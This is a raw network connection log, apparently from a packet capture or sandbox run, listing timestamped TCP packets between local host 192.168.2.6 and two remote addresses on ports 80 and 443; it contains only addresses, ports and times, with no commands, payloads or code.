Oct 24, 2024 09:08:20.122756004 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.122777939 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.122792959 CEST	50000	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.122797966 CEST	443	50000	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.249385118 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.249494076 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.249588013 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.249882936 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.249906063 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.436559916 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436605930 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436666965 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436702013 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436734915 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436768055 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436820030 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436836958 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436837912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436837912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436837912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436852932 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436885118 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436887980 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436896086 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436922073 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.436934948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.436968088 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.442523003 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.442559958 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.442600012 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.442615986 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.442635059 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.442671061 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.592881918 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.592957973 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593031883 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593049049 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593065023 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593077898 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593091011 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593091011 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593095064 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593107939 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593115091 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593135118 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593153954 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593578100 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593596935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593612909 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593630075 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593637943 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.593651056 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593723059 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.593765974 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.594213009 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.594228983 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.594243050 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.594259977 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.594285965 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.594285965 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708409071 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708467007 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708483934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708499908 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708518982 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708578110 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708652973 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708668947 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708698034 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708712101 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708714008 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708728075 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708745003 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.708750963 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708750963 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708779097 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.708779097 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.709537029 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.709554911 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.709584951 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.709614038 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944037914 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944083929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944165945 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944212914 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944221020 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944273949 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944276094 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944328070 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944372892 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944411039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944432020 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944456100 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944463015 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944492102 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944525003 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944557905 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944591045 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944644928 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944658995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944658995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944658995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944658995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944658995 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944678068 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944729090 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944746971 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944747925 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944761038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944794893 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944849968 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944849968 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944849968 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.944936037 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.944972038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945003033 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945027113 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945028067 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945112944 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945117950 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945142031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945158958 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945173025 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945182085 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945213079 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945229053 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945261002 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945271015 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945288897 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945312977 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945322037 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945338964 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945353985 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945372105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945386887 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945394039 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945420980 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945429087 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945452929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945462942 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945486069 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945492983 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945514917 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945532084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945548058 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.945557117 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.945586920 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.950706959 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.950817108 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.952059984 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.952090025 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.952594995 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.954057932 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.954093933 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:20.954301119 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:20.979202032 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979221106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979235888 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979295015 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979347944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979643106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979670048 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979681969 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979692936 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979706049 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979712963 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979721069 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:20.979767084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979767084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:20.979767084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054548979 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054601908 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054639101 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054667950 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054672956 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054712057 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054713011 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054733038 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054749966 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054754972 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054781914 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054789066 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054826021 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054842949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054877043 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.054879904 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.054913044 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.094743967 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.094767094 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.094867945 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.095055103 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.095072031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.095088959 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.095103025 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.095103979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.095120907 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.095132113 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.095160961 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.169733047 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169760942 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169778109 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169794083 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169804096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.169810057 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169826984 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169842005 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.169861078 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.169861078 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.169884920 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.169907093 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.170505047 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.170521021 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.170538902 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.170547009 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.170552015 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.170557976 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.170576096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.170592070 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210031033 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210063934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210107088 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210156918 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210562944 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210597038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210609913 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210632086 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210638046 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210666895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210675955 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210700989 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.210701942 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.210746050 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285244942 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285285950 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285339117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285391092 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285391092 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285492897 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285527945 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285546064 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285562992 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285586119 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285598993 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285607100 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285654068 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285873890 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285907984 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285940886 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.285948038 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.285948992 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.286005974 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.325933933 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.325964928 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.325998068 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326031923 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326036930 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326066017 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326075077 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326101065 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326102018 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326121092 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326143026 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326637030 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326666117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326695919 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326699018 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.326714993 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.326813936 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.327107906 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.327169895 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.400945902 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401020050 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401073933 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401089907 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401109934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401124001 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401124001 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401144981 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401153088 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401177883 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401181936 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401211977 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401216984 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401243925 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401253939 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401279926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401281118 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401320934 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.401905060 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.401949883 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441422939 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441478014 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441700935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441716909 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441736937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441741943 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441751957 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441764116 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441767931 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441781998 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441782951 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441811085 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.441812992 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.441855907 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.442581892 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.442720890 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.442769051 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.442807913 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.442883968 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.442923069 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.442933083 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443017006 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443063974 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.443070889 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443176985 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443219900 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.443228006 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443348885 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.443392038 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.443398952 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:21.488243103 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:21.516592979 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516681910 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516704082 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516720057 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516753912 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516788006 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516803026 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516803026 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516803026 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516820908 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:21.516830921 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:21.516858101 CEST	80	50001	185.215.113.16	192.168.2.6
